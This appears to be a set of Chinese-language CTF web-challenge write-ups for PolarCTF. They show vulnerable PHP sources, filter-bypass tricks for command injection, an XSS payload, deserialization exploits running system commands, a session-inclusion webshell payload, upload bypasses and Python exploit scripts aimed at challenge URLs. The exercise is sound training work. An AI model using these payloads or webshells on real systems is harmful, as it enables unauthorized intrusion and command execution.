swp(正则最大回溯)

先扫描得到.index.php.swp,得到源码


function jiuzhe($xdmtql){
    return preg_match('/sys.*nb/is',$xdmtql);
}

$xdmtql=@$_POST['xdmtql'];
if(!is_array($xdmtql)){
    if(!jiuzhe($xdmtql)){
        if(strpos($xdmtql,'sys nb')!==false){
            echo 'flag{*******}';
        }else{
            echo 'true .swp file?';
        }
    }else{
        echo 'nijilenijile';
    }
}

考察正则最大回溯

import requests

payload = "sys nb"+"hsad"*1000000
url = "http://1ce7c85b-bed6-4e28-bf60-fcfb671efc81.www.polarctf.com:8090/"
data = {
    "xdmtql":payload
}
response = requests.request("POST", url, data=data, allow_redirects=False)
if response.status_code == 200:
    print(response.text)
else:
    print(response.status_code)

简单rce

 <?php
/*

PolarD&N CTF

*/
highlight_file(__FILE__);
function no($txt){
    if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){
    return $txt;}
   else{
die("what's up");}}
$yyds=($_POST['yyds']);
if(isset($_GET['sys'])&&$yyds=='666'){
  eval(no($_GET['sys']));
  }
  else
    {echo "nonono";
}
?> nonono

命令执行函数

system() 输出并返回最后一行shell结果。
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。(替换system)

输出函数

cat函数 由第一行开始显示内容,并将所有内容输出
tac函数 从最后一行倒序显示内容,并将所有内容输出
nl      类似于cat -n,显示时输出行号
more    根据窗口大小,一页一页的现实文件内容
less    和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head    只显示头几行
tail    只显示最后几行
sort    文本内容排列
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容

空格绕过

${IFS}
{IFS}$9
$IFS$9
重定向符:<>(但是不支持后面跟通配符)
水平制表符%09
%0a 回车
%0d换行

Payload:

GET: /?sys=passthru('sort$IFS/flag');
POST: yyds=666

蜜雪冰城吉警店(js)

修改前端任意按钮id为9即可

召唤神龙

seek flag

Cookie:id改为1 flag1:flag{7ac5b

抓包响应 Flag2: 3ca8737a70f029d

<!--焯,爬虫要是爬到我的flag怎么办-->

查看robots.txt

#flag3:c0ad71dadd11}

jwt

响应头:Flag-is-admins-password

随便注册账号登录有个人中心可以看到密码,抓包得到jwt 不过要爆破key(看wp是4位大写字母不知道怎么爆的 恼

crunch 1 4 -f /usr/share/crunch/charset.lst ualpha -o ./4ualpha.txt

生成字典爆破 key为SYSA 将用户名改为admin即可得到密码

login

源码给了提示<!--20200101 20200101-->

登录上去 只显示了登陆成功 没思路

看了wp说是使用20200102返回了f 然后依次往下爆破😅

flag{dlcg}

iphone(UA标识)

尝试找个iPhone的UA头

# Safari 用户代理字符串
Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1
# 爬虫和机器人用户代理字符串
Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Mozilla/5.0 (compatible; YandexAccessibilityBot/3.0; +http://yandex.com/bots)
# 库与网络工具的用户代理字符串
PostmanRuntime/7.26.5
curl/7.64.1
# 微软 Edge 用户代理字符串
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59
# Opera 用户代理字符串
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41
# Chrome 用户代理字符串
Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
# Firefox 用户代理字符串
Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefoxversion

浮生日记(xss)

有点像xss但是过滤了基本的

先闭合"然后在双写试试

"><scrscriptipt>alert(1)</scrscriptipt>

$$(GLOBALS)

 <?php
/*

PolarD&N CTF

*/

highlight_file(__file__);
error_reporting(0); 
include "flag.php";

$a=$_GET['c'];
if(isset($_GET['c'])){
    if(preg_match('/flag|\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $a)){
        die("oh on!!!");}
    
    else{
        eval("var_dump($$a);");}} 
$GLOBALS:引用全局作用域中可用的全部变量(一个包含了全部变量的全局组合数组。变量的名字就是数组的键),与所有其他超全局变量不同,$GLOBALSPHP代码中任何地方总是可用的

globalPHP中的解析是:global的作用是定义全局变量,但是这个全局变量不是应用于整个网站,而是应用于当前页面,包括includerequire的所有文件。
注:在函数体内定义的global变量,函数体外可以使用,在函数体外定义的global变量不能在函数体内使用

爆破

 <?php
error_reporting(0);

if(isset($_GET['pass'])){
    $pass = md5($_GET['pass']);
    if(substr($pass, 1,1)===substr($pass, 14,1) && substr($pass, 14,1) ===substr($pass, 17,1)){
        if((intval(substr($pass, 1,1))+intval(substr($pass, 14,1))+substr($pass, 17,1))/substr($pass, 1,1)===intval(substr($pass, 31,1))){
            include('flag.php');
            echo $flag;
        }
    }
}else{
    highlight_file(__FILE__);

}
?>
<?php
error_reporting(0);
$string = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
#62位
for ($a = 0; $a < 62; $a++) {
    for ($b = 0; $b < 62; $b++) {
        $flag = $string[$a] . $string[$b];
        $pass = md5($flag);
        if (substr($pass, 1, 1) === substr($pass, 14, 1) && substr($pass, 14, 1) === substr($pass, 17, 1)) {
            if ((intval(substr($pass, 1, 1)) + intval(substr($pass, 14, 1)) + substr($pass, 17, 1)) / substr($pass, 1, 1) === intval(substr($pass, 31, 1))) {
                echo $flag . "\n";
            }
        }
    }

}
?>

XFF

X-Forwarded-For: 1.1.1.1

rce1

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/ /", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>
GET: /?ip=127.0.0.1;tac${IFS}fllllaaag.php#

GET-POST

 <?php 
/*

PolarD&N CTF

*/
highlight_file(__FILE__);
include('flag.php');//文件包含,flag在flag.php文件中,不用想了你访问也没用
$id = $_GET['id'];
echo "你必须让我感受到你的真诚,用GET请求传递一下id吧,令id=1";
if($id == '1'){
    echo "干的漂亮";
    echo "<br/>";
    echo "虽然我感受到了你的真诚,但还是不行,用POST请求传递一下jljcxy吧,令jljcxy=flag";
    $jljcxy = $_POST['jljcxy'];
    if($jljcxy == 'flag'){
        echo $flag;
    }
}
你必须让我感受到你的真诚,用GET请求传递一下id吧,令id=1

Payload:

GET: ?id=1
POST: jljcxy=flag

被黑掉的站

index.php.bak里都是弱口令 去爆破shell.php的密码即可

签到题

发现cookie传了didi=no改为yes返回了base64字符 解密得到路径./data/index.php

 <?php
    error_reporting(0);
    $file = $_GET['file'];
    if(!isset($file))
        $file = '1';
    $file = str_replace('../', '', $file);
    include_once($file.".php");
    highlight_file(__FILE__);
?> 

直接伪协议读取?file=php://filter/read=convert.base64-encode/resource=/flag

签到

提交按钮把disabled删了 再次提交得到提示

提交key=ilovejljcxy即可

session文件包含

action.php目录可以文件包含

伪协议读取源码

<?php
session_start();
error_reporting(0);
$name = $_POST['name'];
if($name){
	$_SESSION["username"] = $name;
}
include($_GET['file']);
?>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<a href=action.php?file=1.txt>my dairy</a>
<a href=action.php?file=2.txt>my booklist</a>
</body>
</html>

Payload:

GET: ?file=/tmp/sess_iicon09s8aj9rhenj3rn6lhqj2
POST: name=<?php @eval($_POST['hsad'])?>

Don’t touch me

SignIn

robots

SignIn

php very nice

<?php
highlight_file(__FILE__);
class Example
{
    public $sys='Can you find the leak?';
    function __destruct(){
        eval($this->sys);
    }
}
unserialize($_GET['a']);
?> 

Exp:

<?php
 class Example
 {
     public $sys='system("tac fl*");';
 }
$a = new Example();
echo serialize($a);
 ?> 

ezupload

MIME限制 gif

cookie欺骗

SignIn

upload

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
 
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.rand(10000,99999).$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

双写绕过 源码里有路径

干正则

 <?php
error_reporting(0);
if (empty($_GET['id'])) {
    show_source(__FILE__);
    die();
} else {
    include 'flag.php';
    $a = "www.baidu.com";
    $result = "";
    $id = $_GET['id'];
    @parse_str($id);
    echo $a[0];
    if ($a[0] == 'www.polarctf.com') {
        $ip = $_GET['cmd'];
        if (preg_match('/flag\.php/', $ip)) {
            die("don't show flag!!!");
        }

        $result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
        if ($result) {
            echo "<pre>{$result}</pre>";
        }
    } else {
        exit('其实很简单!');
    }
} 

parse_str() 函数把查询字符串解析到变量中。

Payload:

?id=a[0]=www.polarctf.com&cmd=|tac f*

cool

 <?php
if(isset($_GET['a'])){
    $a = $_GET['a'];
    if(is_numeric($a)){
        echo "no";
    }
    if(!preg_match("/flag|system|php/i", $a)){
        eval($a);
    }
}else{
    highlight_file(__FILE__);
}
?>

不理解 is_numeric 的意义

Payload: ?a=passthru('tac f*');

uploader

 <?php
$sandBox = md5($_SERVER['REMOTE_ADDR']);
if(!is_dir($sandBox)){
    mkdir($sandBox,0755,true);
}
if($_FILES){
    move_uploaded_file($_FILES['file']['tmp_name'],$sandBox."/".$_FILES["file"]["name"]);
    echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";
    echo "文件类型: " . $_FILES["file"]["type"] . "<br>";
    echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
    echo $sandBox;
}

highlight_file(__FILE__); 
  1. 1.$sandBox = md5($_SERVER['REMOTE_ADDR']);这行代码通过MD5哈希函数处理用户的IP地址($_SERVER['REMOTE_ADDR']),生成一个32位的十六进制字符串。这个字符串将用作目录名。

  2. 2.if(!is_dir($sandBox)){这行代码检查由MD5哈希生成的目录名是否已存在。is_dir()函数用于检查指定路径是否为目录。如果不是目录(即不存在),则执行接下来的代码。

  3. 3.mkdir($sandBox,0755,true);如果目录不存在,mkdir()函数将创建一个新目录。权限设置为0755(即所有者有读、写和执行权限,组和其他用户有读和执行权限)。true参数表示创建多级目录,如果中间的某个目录不存在,也会一并创建。

  4. 4.if($_FILES){这行代码检查是否有文件上传。$_FILES是一个全局数组,包含了通过HTTP POST上传的文件信息。

  5. 5.move_uploaded_file($_FILES['file']['tmp_name],$sandBox."/".$_FILES["file"]["name"]);如果有文件上传,move_uploaded_file()函数将上传的文件从临时目录移动到由MD5哈希生成的目录中。$_FILES['file']['tmp_name']是上传文件在服务器上的临时文件名,$sandBox."/"."$_FILES["file"]["name"]是目标文件路径,即新创建的目录加上原始文件名。

  6. 6.echo "上传文件名: " . $_FILES["file"]["name"] . "<br>";输出上传文件的名称。

  7. 7.echo "文件类型: " . $_FILES["file"]["type"] . "<br>";输出上传文件的MIME类型。

  8. 8.echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";输出上传文件的大小,单位从字节转换为千字节(KB)。

  9. 9.echo $sandBox;输出创建的目录名。

手动上传个马子 然后rce就行

import requests

url = "http://07f244aa-014e-4336-95be-997f5f132778.www.polarctf.com:8090/"
file = open('D:/CTF/upload/1.php', 'rb')
files = {"file": file}
response = requests.post(url, files=files)
if response.status_code == 200:
    print(response.text)
else:
    print("Upload failed")

覆盖

 <?php
error_reporting(0);
if (empty($_GET['id'])) {
    show_source(__FILE__);
    die();
} else {
    include 'flag.php';
    $a = "www.baidu.com";
    $result = "";
    $id = $_GET['id'];
    @parse_str($id);
    echo $a[0];
    if ($a[0] == 'www.polarctf.com') {
        $ip = $_GET['cmd'];
        $result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
        if ($result) {
            echo "<pre>{$result}</pre>";
        }
    } else {
        exit('其实很简单!');
    }
} 

? 题一点儿没改

PHP反序列化初试

 <?php
class Easy{
    public $name;
    public function __wakeup()
    {
        echo $this->name;
    }
}
class Evil{
    public $evil;
    private $env;
    public function __toString()
    {
        $this->env=shell_exec($this->evil);
        return $this->env;
    }
}

if(isset($_GET['easy'])){
    unserialize($_GET['easy']);
}else{
    highlight_file(__FILE__);
}

Exp:

<?php
class Easy{
    public $name;
}
class Evil{
    public $evil;
    public $env;
}
 
$a=new Easy();
$a->name = new Evil();
$a->name->evil = 'tac [email protected]';
echo serialize($a);

机器人

访问robots.txt得到前半段flag和敏感目录 但是要自己补个flag.php 没见过

扫扫看

SignIn

debudao

flag藏在cookie里面

审计

no no no! <?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

if (isset($_GET['xxs'])) {
    $input = $_GET['xxs'];

    if (is_array($input)) {
        die("错误:输入类型不允许为数组。");
    }
    if (!preg_match("/^0e[0-9]+$/", md5($input))) {
        die("错误:输入的MD5值必须以'0e'开头,并跟随数字。");
    }
    if (!is_numeric($input)) {
        die("错误:输入必须是数字。");
    }

    die("恭喜:".$flag);
} else {
    die("错误:必须设置正确参数。");
}
?>
错误:必须设置正确参数。

没意思?xxs=240610708

upload1

原题 没意思

rapyiquan(反斜杠 \)

 <?php
error_reporting(0);
highlight_file(__FILE__);
header('content-type:text/html;charset=utf-8');

$url = $_SERVER['REQUEST_URI'];
function checkUrlParams($params) {
        if (strpos($params, '_') !== false) {
            return false;
        }
    return true;
}

if(checkUrlParams($url)){
    $cmd=$_GET['c_md'];
    if (preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
        echo("badly!");
    } else {
        echo `$cmd`;
    }
}else{
    echo "$url";
    echo "<br>";
    echo "Hack";
}

反斜杠绕过 sort输出函数也可以

Payload:

?c[md=ta\c ../../../fl\ag.php

bllbl_ser1

<?php
class bllbl
{
    public $qiang;//我的强
    function __destruct()
    {
        $this->bllliang();
    }
    function bllliang()
    {
        $this->qiang->close();
    }
}
class bllnbnl
{
    public $er;//我的儿
    function close()
    {
        eval ($this->er);
    }
}
if (isset($_GET['blljl'])) {
    $user_data = unserialize($_GET['blljl']);
}

Exp:

<?php
class bllbl
{
    public $qiang;//我的强
}
class bllnbnl
{
    public $er;//我的儿
}
$a = new bllbl();
$a->qiang = new bllnbnl();
$a->qiang->er = "system('tac /flag');";
echo serialize($a);

Payload:

?blljl=O:5:"bllbl":1:{s:5:"qiang";O:7:"bllnbnl":1:{s:2:"er";s:20:"system('tac /flag');";}}

1ncIud3

?page=flag对应了./flag.php,文件后缀写死了是php

经过测试发现题目会将../替换为空,双写绕过可以目录穿越

import requests
from itertools import product
import time

# 定义字符替换规则
replace_list = {
    'f': [ 'f', '4','F'],
    'l': ['1', 'I', 'L', 'i','l'],
    'a': ['@', '2', '3', '4','a'],
    'g': ['g', '9', 'G', '3', '6']
}

# 目标字符串
target = "flag"

# 生成所有可能的组合
def generate_combinations(target, replace_list):
    # 将目标字符串拆分成字符列表
    chars = list(target)
    
    # 生成每个字符的所有可能替换
    replacements = []
    for char in chars:
        if char in replace_list:
            replacements.append(replace_list[char])
        else:
            replacements.append([char])
    
    # 使用 itertools.product 生成所有可能的组合
    combinations = [''.join(combination) for combination in product(*replacements)]
    
    return combinations

# 生成所有可能的组合
combinations = generate_combinations(target, replace_list)

# 目标 URL
url = "http://2e60dd05-b51e-49bf-9e32-2fef866f4105.www.polarctf.com:8090/"  # 替换为实际的 API URL

# 发送请求
for combination in combinations:
    params = {"page": "..././..././"+combination}
    response = requests.get(url, params=params)
    time.sleep(0.1)
    # 打印响应
    print(f"Sent: {combination}")
    print(f"Response: {response.status_code} {response.text}")

    # 如果响应中包含特定的内容,可以停止发送请求
    if "flag" in response.text:
        print(f"Found special response with combination: {combination}")
        break

ps: 很不解的一道题

投喂

Welcome to the CTF Challenge!

Use the following API to interact:

POST a parameter "data" containing serialized User object

Hint: You might want to understand how PHP serialization works. Try to serialize a User object with the username and is_admin properties.

Extra Hint: If you can make the server think you are an admin (is_admin=true), you might get something special.

根据题意即可

Exp:

<?php
class User{
    public $is_admin;

}
$a = new User();
$a->is_admin = true;
echo serialize($a);